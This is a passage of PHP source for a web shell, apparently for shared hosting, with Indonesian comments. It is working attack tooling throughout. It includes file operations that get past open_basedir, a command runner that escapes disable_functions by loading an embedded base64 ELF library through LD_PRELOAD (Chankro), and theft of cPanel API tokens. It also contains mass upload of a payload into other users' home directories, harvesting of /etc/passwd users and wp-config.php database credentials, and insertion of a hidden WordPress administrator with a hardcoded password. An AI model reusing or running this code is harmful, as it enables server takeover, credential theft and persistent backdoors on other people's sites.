get_current_user(), 'gid' => getmygid()]; $curl_v = function_exists('curl_version') ? curl_version()['version'] : 'N/A'; $safe_mode = (ini_get('safe_mode') == 1 || strtolower(ini_get('safe_mode')) == 'on') ? "ON" : "Off"; return [ 'os' => php_uname(), 'user' => getmyuid() . ' (' . $u_id['name'] . ')', 'safe' => $safe_mode, 'ip' => $_SERVER['SERVER_ADDR'] ?? gethostbyname($_SERVER['SERVER_NAME']), 'soft' => $_SERVER['SERVER_SOFTWARE'], 'php' => phpversion(), 'curl' => $curl_v, 'time' => date('Y-m-d H:i:s') ]; } $sys = get_sys_info(); // --- ULTIMATE JAILBREAK: MULTI-BINARY & PERSISTENT FALLBACK --- function x_jailbreak($file) { // LAYER 1: Command Execution dengan Multi-Binary Fallback // Mencoba berbagai metode eksekusi dan berbagai perintah baca $methods = ['shell_exec', 'exec', 'passthru', 'system', 'popen', 'proc_open']; // Daftar perintah alternatif pengganti 'cat' jika diblokir $binaries = [ 'cat', // Standar 'head -n 10000', // Baca bagian depan 'tail -n 10000', // Baca bagian belakang 'more', // Alternatif baca 'less', // Alternatif baca 'awk "{print}"', // Trik AWK 'sed -n "p"', // Trik SED 'tac', // Baca terbalik 'nl', // Baca dengan nomor baris 'dd status=none' // Binary level read ]; $disabled_raw = ini_get('disable_functions'); $disabled = ($disabled_raw) ? array_map('trim', explode(',', $disabled_raw)) : []; foreach ($methods as $method) { // Cek apakah fungsi PHP aktif dan tidak didisable if (function_exists($method) && !in_array($method, $disabled)) { // Loop setiap perintah binary (cat, head, tail, dll) foreach ($binaries as $bin) { $cmd = $bin . " " . escapeshellarg($file); $out = ""; if ($method === 'shell_exec') { $out = @shell_exec($cmd); } elseif ($method === 'exec') { $o = []; @exec($cmd, $o); $out = implode("\n", $o); } elseif ($method === 'passthru') { ob_start(); @passthru($cmd); $out = ob_get_clean(); } elseif ($method === 'system') { ob_start(); @system($cmd); $out = ob_get_clean(); } elseif ($method === 'popen') { $fp = @popen($cmd, 'r'); if ($fp) { while(!feof($fp)) $out .= fread($fp, 1024); pclose($fp); } } elseif ($method === 'proc_open') { $desc = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $p = @proc_open($cmd, $desc, $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($p); } } // Jika berhasil, langsung return hasilnya if (!empty($out)) return $out; } } } // LAYER 2: Symlink Trick (PHP Native) // Tetap dijalankan jika Layer 1 gagal/kosong (Persistent) if (function_exists('symlink') && is_writable(getcwd())) { $link = 'sfm_lnk_' . rand(1000,9999); @symlink($file, $link); if (file_exists($link)) { $content = @file_get_contents($link); @unlink($link); if ($content) return $content; } } // LAYER 3: The Heavy Loop (Last Resort) // Jalan terakhir jika semua cara di atas gagal if (function_exists('ini_set') && function_exists('chdir') && function_exists('mkdir')) { $old_cwd = getcwd(); $jb_dir = "sfm_jb_" . rand(1000,9999); if (@mkdir($jb_dir)) { @chdir($jb_dir); @ini_set('open_basedir', '..'); for ($i = 0; $i < 15; $i++) { @chdir('..'); @ini_set('open_basedir', '..'); } @chdir('/'); @ini_set('open_basedir', '/'); $content = @file_get_contents($file); @chdir($old_cwd); @rmdir($jb_dir); if ($content) return $content; } } return false; } // --- UPDATED READER (Prioritas Jailbreak) --- function x_read($path) { // 1. PRIORITAS UTAMA: Jailbreak (Ultimate Hybrid) // Mencoba teknik hacking (Command/Symlink/Loop) terlebih dahulu. $jb = x_jailbreak($path); if (!empty($jb)) return $jb; // 2. FALLBACK: Standard Read // Hanya jika semua metode jailbreak (termasuk loop berat) gagal total. if (is_readable($path)) return @file_get_contents($path); return false; } // --- STANDARD WRITE (LIGHTWEIGHT FOR AUTO CHAIN) --- function x_write($path, $data) { if (@file_put_contents($path, $data)) return true; if (function_exists('fopen')) { $h = @fopen($path, "w"); if ($h) { fwrite($h, $data); fclose($h); return true; } } return false; } // --- ROBUST WRITE (Anti 0KB + Anti Revert + Force 0444) --- function x_robust_write($path, $data, $lock_mode = false) { if (file_exists($path)) { @chmod($path, 0644); } $fp = @fopen($path, 'c+'); if ($fp) { if (@flock($fp, LOCK_EX)) { @ftruncate($fp, 0); @fwrite($fp, $data); @fflush($fp); @flock($fp, LOCK_UN); } else { @file_put_contents($path, $data); } @fclose($fp); } else { if(file_exists($path)) @unlink($path); @file_put_contents($path, $data); } clearstatcache(); if (filesize($path) == 0 && strlen($data) > 0) { @unlink($path); @file_put_contents($path, $data); } @touch($path, time() - 34560000); if ($lock_mode) { @chmod($path, 0444); } return file_exists($path); } function x_link($target, $link) { if (function_exists('symlink') && @symlink($target, $link)) return true; if (function_exists('link') && @link($target, $link)) return true; $cmd = "ln -s " . escapeshellarg($target) . " " . escapeshellarg($link); if (function_exists('shell_exec')) { @shell_exec($cmd); } elseif (function_exists('exec')) { @exec($cmd); } elseif (function_exists('system')) { ob_start(); @system($cmd); ob_end_clean(); } elseif (function_exists('passthru')) { ob_start(); @passthru($cmd); ob_end_clean(); } elseif (function_exists('proc_open')) { $desc = [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"]]; $p = @proc_open($cmd, $desc, $pipes); if (is_resource($p)) { @fclose($pipes[0]); @fclose($pipes[1]); @fclose($pipes[2]); @proc_close($p); } } elseif (function_exists('popen')) { $h = @popen($cmd, 'r'); if($h) @pclose($h); } return file_exists($link); } function get_home_dirs() { $d = ['/home']; for ($i = 1; $i <= 9; $i++) $d[] = '/home' . $i; return $d; } function force_delete($target) { if (is_file($target)) return unlink($target); if (is_dir($target)) { $files = array_diff(scandir($target), array('.','..')); foreach ($files as $file) force_delete("$target/$file"); $try = rmdir($target); if ($try) return true; if (function_exists('shell_exec')) { @shell_exec("rm -rf " . escapeshellarg($target)); return !file_exists($target); } return false; } } function json_out($data) { header('Content-Type: application/json'); echo json_encode($data); exit; } function human_filesize($bytes, $dec = 2) { $size = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $factor = floor((strlen($bytes) - 1) / 3); return sprintf("%.{$dec}f", $bytes / pow(1024, $factor)) . @$size[$factor]; } // --- SMART SCANNER --- function scan_smart_stream($dir, &$results) { $dir = rtrim($dir, '/') . '/'; if (file_exists($dir . 'wp-config.php')) $results[] = $dir . 'wp-config.php'; if ($dh = @opendir($dir)) { while (($file = readdir($dh)) !== false) { if ($file === '.' || $file === '..') continue; $full_path = $dir . $file; if (is_dir($full_path) && !is_link($full_path)) { $target_public = $full_path . '/public_html/wp-config.php'; $target_root = $full_path . '/wp-config.php'; if (file_exists($target_public)) $results[] = $target_public; elseif (file_exists($target_root)) $results[] = $target_root; } } closedir($dh); } } function get_conf_val_smart($content, $key) { if (preg_match("/define\(\s*['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $content, $m)) return $m[1]; return null; } // --- STANDARD DIRECTORY SCAN --- function scan_smart_targets($base_dir) { $targets = []; $items = @scandir($base_dir); if ($items) { foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $path = $base_dir . '/' . $item; if (is_dir($path)) { if (is_writable($path)) $targets[] = $path; $pub = $path . '/public_html'; if (is_dir($pub) && is_writable($pub)) { $targets[] = $pub; } } } } return $targets; } if (isset($_SERVER[$h_act])) { $action = $_SERVER[$h_act]; $raw_path = isset($_SERVER[$h_path]) ? base64_decode($_SERVER[$h_path]) : ''; if ($raw_path === '__HOME__') { $target = getcwd(); } elseif ($raw_path === '') { $target = getcwd(); } else { $target = $raw_path; } $target = str_replace('\\', '/', $target); if(strlen($target) > 1) $target = rtrim($target, '/'); if(is_dir($target)) @chdir($target); elseif(is_file($target)) @chdir(dirname($target)); if ($action === 'list') { if (!is_dir($target)) { $target = getcwd(); } $items = @scandir($target); if ($items === false) { json_out(['path' => $target, 'items' => [], 'error' => 'Unreadable']); } $dirs = []; $files = []; foreach ($items as $i) { if ($i == '.' || $i == '..') continue; $path = $target . '/' . $i; $isDir = is_dir($path); $item = [ 'name'=>$i, 'type'=>$isDir?'dir':'file', 'size'=>$isDir?'-':human_filesize(@filesize($path)), 'perm'=>substr(sprintf('%o', @fileperms($path)),-4), 'write'=>is_writable($path), 'date'=>date("Y-m-d H:i", @filemtime($path)) ]; if ($isDir) $dirs[] = $item; else $files[] = $item; } usort($dirs, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); usort($files, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); json_out(['path' => $target, 'items' => array_merge($dirs, $files)]); } // --- UPDATED READ ACTION (WITH JAILBREAK FALLBACK) --- if ($action === 'read') { if (is_file($target)) { $c = x_read($target); echo $c ? $c : "Err: Unreadable (Try Jailbreak/Shell)"; } else { // Try jailbreak even if it doesn't look like a file (open_basedir hiding) $c = x_read($target); echo $c ? $c : "Err: Not a file / Access Denied"; } exit; } if ($action === 'save' || $action === 'upload') { $input = file_get_contents("php://input"); if (isset($_SERVER[$h_enc]) && $_SERVER[$h_enc] === 'b64') { $input = base64_decode($input); } echo (x_robust_write($target, $input, true) !== false) ? "Success" : "Err: Write failed"; exit; } if ($action === 'delete') { echo force_delete($target) ? "Deleted" : "Fail delete"; exit; } if ($action === 'rename') { $n = isset($_SERVER[$h_data]) ? base64_decode($_SERVER[$h_data]) : ''; if ($n) echo rename($target, dirname($target).'/'.$n) ? "Renamed" : "Fail"; exit; } if ($action === 'chmod') { $m = isset($_SERVER[$h_data]) ? $_SERVER[$h_data] : ''; if ($m) echo chmod($target, octdec($m)) ? "Chmod OK" : "Fail"; exit; } // --- BYPASS CMD (V65: HYBRID /TMP STRATEGY + ANTI-LOOP) --- if ($action === 'cmd') { $cmd_raw = isset($_SERVER[$h_cmd]) ? base64_decode($_SERVER[$h_cmd]) : 'whoami'; // Deteksi UAPI untuk strategi output ke TMP $is_uapi_token = (stripos($cmd_raw, 'uapi') !== false && stripos($cmd_raw, 'Tokens') !== false); // Fix Path $cmd = "export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin; " . $cmd_raw; $cmd_exec = $cmd . " 2>&1"; $out = ""; // Helper Run $try_run = function($method, $c) { if (!function_exists($method)) return false; $o = ""; if ($method == 'shell_exec') $o = @shell_exec($c); elseif ($method == 'passthru') { ob_start(); @passthru($c); $o = ob_get_clean(); } elseif ($method == 'system') { ob_start(); @system($c); $o = ob_get_clean(); } elseif ($method == 'exec') { @exec($c, $arr); $o = implode("\n", $arr); } elseif ($method == 'popen') { $h = @popen($c, 'r'); if($h) { while(!feof($h)) $o .= fread($h, 1024); pclose($h); } } elseif ($method == 'proc_open') { $d = [0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]]; $p = @proc_open($c, $d, $pipes); if (is_resource($p)) { $o = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($p); } } return $o; }; // 1. STANDARD ATTEMPT (Lewati jika UAPI agar langsung ke metode kuat) if (!$is_uapi_token) { $methods = ['shell_exec', 'passthru', 'proc_open', 'system']; foreach ($methods as $m) { if ($d = ini_get('disable_functions')) { if (stripos($d, $m) !== false) continue; } $res = $try_run($m, $cmd_exec); // Jika error memory/fork, anggap gagal dan lanjut ke Chankro if (stripos($res, 'Cannot allocate') !== false || stripos($res, 'fork') !== false) continue; if (!empty($res)) { $out = $res; break; } } } // 2. CHANKRO FALLBACK (ANTI-LOOP VIA ENV -U) if (empty($out) || $is_uapi_token) { $hook = 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA4AcAAAAAAABAAAAAAAAAAPgZAAAAAAAAAAAAAEAAOAAHAEAAHQAcAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAoAAAAAAABsCgAAAAAAAAAAIAAAAAAAAQAAAAYAAAD4DQAAAAAAAPgNIAAAAAAA+A0gAAAAAABwAgAAAAAAAHgCAAAAAAAAAAAgAAAAAAACAAAABgAAABgOAAAAAAAAGA4gAAAAAAAYDiAAAAAAAMABAAAAAAAAwAEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkA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AEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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QuNjk3MgBfX2RvX2dsb2JhbF9kdG9yc19hdXhfZmluaV9hcnJheV9lbnRyeQBmcmFtZV9kdW1deQBfX2ZyYW1lX2R1bW15X2luaXRfYXJyYXlfZW50cnkAaG9vay5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1TM_lFTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AZ2V0ZW52QEBHTElCQ18yLjIuNQBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAX2VkYXRhAGRhZW1vbml6ZQBfZmluaQBzeXN0ZW1AQEdMSUJDXzIuMi41AHB3bgBzaWduYWxAQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAHByZWxvYWRtZQBfZW5kAF9fYnNzX3N0YXJ0AGNobW9kQEBHTElCQ18yLjIuNQBfSnZfUmVnaXN0ZXJDbGFzc2VzAHVuc2V0ZW52QEBHTElBQkNfMi4yLjUAX2V4aXRAQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AGZvcmtAQEdMSUJDXzIuMi41AA=='; $so_file = $target . '/chankro.so'; $socket_file = $target . '/acpid.socket'; // Output ke TMP jika UAPI (lebih cepat/stabil), lokal jika biasa if ($is_uapi_token) { $out_file = '/tmp/sfm_out_' . time() . '.txt'; } else { $out_file = $target . '/chankro_out.txt'; } @unlink($so_file); @unlink($socket_file); @unlink($out_file); // ANTI-LOOP: Gunakan 'env -u' untuk membersihkan variabel hook sebelum perintah dijalankan $safe_cmd = "export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin; env -u LD_PRELOAD -u CHANKRO " . $cmd_raw; $full_command = "($safe_cmd) > $out_file 2>&1"; $meterpreter = base64_encode($full_command); x_write($so_file, base64_decode($hook)); x_write($socket_file, base64_decode($meterpreter)); putenv('CHANKRO=' . $socket_file); putenv('LD_PRELOAD=' . $so_file); if (function_exists('mail')) { @mail('a','a','a','a'); } elseif (function_exists('mb_send_mail')) { @mb_send_mail('a','a','a','a'); } elseif (function_exists('error_log')) { @error_log('a', 1, 'a'); } elseif (function_exists('imap_mail')) { @imap_mail('a','a','a'); } sleep($is_uapi_token ? 5 : 2); if (file_exists($out_file)) { $raw_out = file_get_contents($out_file); if ($is_uapi_token) { if (preg_match('/token:\s*(\S+)/i', $raw_out, $m)) { $out = "SUCCESS TOKEN:\n" . $m[1]; } elseif (stripos($raw_out, 'You do not have the feature') !== false) { $out = "FAILED: Feature 'apitokens' disabled by host."; } else { $clean = preg_replace('/^ERROR: ld\.so:.*$/m', '', $raw_out); $out = trim($clean); if(empty($out)) $out = "UAPI Executed but no token found (Raw):\n" . substr($raw_out, 0, 500); } } else { // CLEAN OUTPUT $clean = preg_replace('/^ERROR: ld\.so:.*$/m', '', $raw_out); $out = trim($clean); } if (empty($out) && !empty($raw_out)) $out = $raw_out; } else { $out = "[Chankro Failed: Output file not created at $out_file]"; } @unlink($so_file); @unlink($socket_file); if($is_uapi_token) @unlink($out_file); } if (empty($out) || strlen(trim($out)) === 0) { $out = "[No Output Produced]"; } echo $out; exit; } if ($action === 'tool') { $tool = isset($_SERVER[$h_tool]) ? $_SERVER[$h_tool] : ''; $home_dirs = get_home_dirs(); // --- UPDATED MASS UPLOAD (USE ROBUST WRITE) --- if ($tool === 'mass_upload') { $mode = isset($_SERVER[$h_mmode]) ? $_SERVER[$h_mmode] : 'init'; $tmp_list = sys_get_temp_dir() . "/sfm_mass_targets.json"; $tmp_file = sys_get_temp_dir() . "/sfm_mass_payload.tmp"; if ($mode === 'init') { $input = file_get_contents("php://input"); if (isset($_SERVER[$h_enc]) && $_SERVER[$h_enc] === 'b64') $input = base64_decode($input); file_put_contents($tmp_file, $input); $targets = scan_smart_targets($target); file_put_contents($tmp_list, json_encode($targets)); json_out(['status' => 'ready', 'total' => count($targets)]); } if ($mode === 'process') { $step = isset($_SERVER[$h_step]) ? (int)$_SERVER[$h_step] : 0; $filename = isset($_SERVER[$h_data]) ? base64_decode($_SERVER[$h_data]) : 'mass_file.php'; $limit = 20; if (!file_exists($tmp_list) || !file_exists($tmp_file)) { json_out(['status'=>'error', 'msg'=>'Task expired.']); } $targets = json_decode(file_get_contents($tmp_list), true); $total = count($targets); if ($total === 0 || $step >= $total) { @unlink($tmp_list); @unlink($tmp_file); json_out(['status' => 'done', 'total' => $total]); } $batch = array_slice($targets, $step, $limit); $payload = file_get_contents($tmp_file); $count_ok = 0; foreach($batch as $dir) { if(x_robust_write($dir . '/' . $filename, $payload, false)) $count_ok++; } $next_step = $step + $limit; json_out(['status' => 'continue', 'next_step' => $next_step, 'total' => $total, 'ok_batch' => $count_ok]); } exit; } // --- BYPASS USER (PRIORITY: ID SCANNING -> FALLBACK: ETC/PASSWD) --- if ($tool === 'bypass_user') { $found = []; // Daftar user system/sampah yang wajib dibuang $blacklist = [ 'root', 'bin', 'daemon', 'adm', 'lp', 'sync', 'shutdown', 'halt', 'mail', 'operator', 'games', 'ftp', 'named', 'nscd', 'rpcuser', 'rpc', 'mailnull', 'tss', 'sshd', 'dbus', 'dovecot', 'rtkit', 'agent360', 'ossece', 'ossecm', 'ossecr', 'ossec', 'imunify360-scanlogd', 'imunify360-webshield', 'wp-toolkit', 'lsadm', '_imunify', 'flatpak', 'geoclue', 'pipewire', 'polkitd', 'cpanelphpmyadmin', 'cpanelphppgadmin', 'dovenull', 'mysql', 'cpses', 'cpanelanalytics', 'cpanelconnecttrack', 'cpanelroundcube', 'cpaneleximscanner', 'cpaneleximfilter', 'cpanellogin', 'cpanelcabcache', 'cpanel', 'mailman', 'chrony', 'sssd', 'systemd-coredump', 'nobody', 'apache', 'nginx', 'litespeed', 'systemd-network', 'systemd-resolve', 'systemd-timesync' ]; // METODE 1: SCANNING ID (PRIORITAS UTAMA) // Mencoba mendapatkan user langsung dari Kernel via POSIX // Range scan: 0 sampai 5000 (Mencakup user system & user hosting) if (function_exists('posix_getpwuid')) { for ($userid = 0; $userid < 5000; $userid++) { $arr = @posix_getpwuid($userid); if (!empty($arr) && isset($arr['name'])) { $u = $arr['name']; $h = isset($arr['dir']) ? $arr['dir'] : ''; // Filter: Tidak boleh ada di blacklist DAN home dir harus valid if (!in_array($u, $blacklist)) { if (stripos($h, '/home') !== false || stripos($h, '/var/www') !== false || stripos($h, '/usr/home') !== false) { $found[] = $u; } } } } } // METODE 2: READ /ETC/PASSWD (FALLBACK) // Hanya dijalankan jika Metode 1 (Scanning ID) gagal total atau return kosong if (empty($found)) { $raw_etc = x_read("/etc/passwd"); if ($raw_etc) { $lines = explode("\n", $raw_etc); foreach($lines as $l) { if(empty(trim($l))) continue; $p = explode(":", $l); $u = isset($p[0]) ? trim($p[0]) : ''; $h = isset($p[5]) ? trim($p[5]) : ''; // Kolom 6 = Home Dir if (!empty($u) && !in_array($u, $blacklist)) { if (stripos($h, '/home') !== false || stripos($h, '/var/www') !== false || stripos($h, '/usr/home') !== false) { $found[] = $u; } } } } } // Hapus duplikat & Simpan $found = array_unique($found); $output = ""; foreach($found as $user) { $output .= $user . ":\n"; } if(!empty($output)) { x_write("passwd.txt", $output); echo "Saved to: passwd.txt\nMethod: " . (function_exists('posix_getpwuid') ? "ID Scan (Primary)" : "File Read (Fallback)") . "\nClean Users Found: " . count($found); } else { echo "Failed. No valid hosting users found via ID Scan or File Read."; } exit; } if ($tool === 'add_admin') { $step = isset($_SERVER[$h_step]) ? (int)$_SERVER[$h_step] : 0; $limit = 5; $mode = isset($_SERVER['HTTP_X_MODE']) ? $_SERVER['HTTP_X_MODE'] : 'jumping'; $target_sub = ($mode === 'symlink') ? '3x_sym' : 'jumping'; $scan_path = is_dir($target . '/' . $target_sub) ? $target . '/' . $target_sub : $target; $all_files = scandir($scan_path); $config_files = []; foreach($all_files as $f) { if($f == '.' || $f == '..') continue; if(stripos($f, 'config') !== false || stripos($f, 'settings') !== false || substr($f, -4) === '.txt') { $config_files[] = $scan_path . '/' . $f; } } $total = count($config_files); if ($step >= $total) { echo json_encode(['status'=>'done', 'html'=>'', 'total'=>$total]); exit; } $batch_files = array_slice($config_files, $step, $limit); $html_log = ""; foreach($batch_files as $file) { $content = x_read($file); if(!$content) continue; if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]\s*\)/i", $content, $m_name)) { $db_name = $m_name[1]; preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]\s*\)/i", $content, $m_user); $db_user = $m_user[1] ?? ''; preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]\s*\)/i", $content, $m_pass); $db_pass = $m_pass[1] ?? ''; preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]\s*\)/i", $content, $m_host); $db_host = $m_host[1] ?? 'localhost'; preg_match("/table_prefix\s*=\s*['\"](.*?)['\"]/", $content, $m_pre); $pre = $m_pre[1] ?? 'wp_'; $new_u = "xshikata"; $new_p_raw = "Wh0th3h3llAmi"; $new_p_hash = md5($new_p_raw); $link = mysqli_init(); mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 3); $con = @mysqli_real_connect($link, $db_host, $db_user, $db_pass, $db_name); if (!$con && $db_host == 'localhost') { $link = mysqli_init(); mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 3); $con = @mysqli_real_connect($link, '127.0.0.1', $db_user, $db_pass, $db_name); } if ($con) { $site_url = ""; $q = @mysqli_query($link, "SELECT option_value FROM {$pre}options WHERE option_name='siteurl' LIMIT 1"); if ($q && $r = @mysqli_fetch_assoc($q)) $site_url = $r['option_value']; $disp_url = parse_url($site_url, PHP_URL_HOST); if(!$disp_url) $disp_url = $site_url; // LOGIC STATUS $st_txt = "New Admin"; $st_cls = "status-success"; $chk = @mysqli_query($link, "SELECT ID FROM {$pre}users WHERE user_login='$new_u'"); if ($chk && @mysqli_num_rows($chk) > 0) { $old = @mysqli_fetch_assoc($chk); @mysqli_query($link, "DELETE FROM {$pre}users WHERE ID = " . $old['ID']); @mysqli_query($link, "DELETE FROM {$pre}usermeta WHERE user_id = " . $old['ID']); $st_txt = "Replaced"; $st_cls = "status-warning"; } $ins = @mysqli_query($link, "INSERT INTO {$pre}users (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) VALUES ('$new_u', '$new_p_hash', '$new_u', 'admin@admin.com', NOW(), 0, '$new_u')"); if ($ins) { $uid = @mysqli_insert_id($link); @mysqli_query($link, "INSERT INTO {$pre}usermeta (user_id, meta_key, meta_value) VALUES ($uid, '{$pre}capabilities', 'a:1:{s:13:\"administrator\";b:1;}')"); @mysqli_query($link, "INSERT INTO {$pre}usermeta (user_id, meta_key, meta_value) VALUES ($uid, '{$pre}user_level', '10')"); // --- NEW HTML STRUCTURE (MODERN ROW) --- $html_log .= "
| Name | Size | Perms | Modified | Actions |
|---|